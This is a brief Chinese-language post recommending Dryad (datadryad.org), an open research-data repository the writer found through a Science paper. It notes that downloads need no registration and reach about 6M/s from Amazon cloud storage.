从一篇science论文中看到数据存储在了这个平台&#xff0c;这里分享一下&#xff1a;datadryad.org 亲测无需注册&#xff0c;可以直接下载&#xff0c;从一个数据测试看&#xff0c;数据存储在亚马逊云&#xff0c;下载速度还可以&#xff0c;6M/s的样子。 Dryad 是一个开放的…...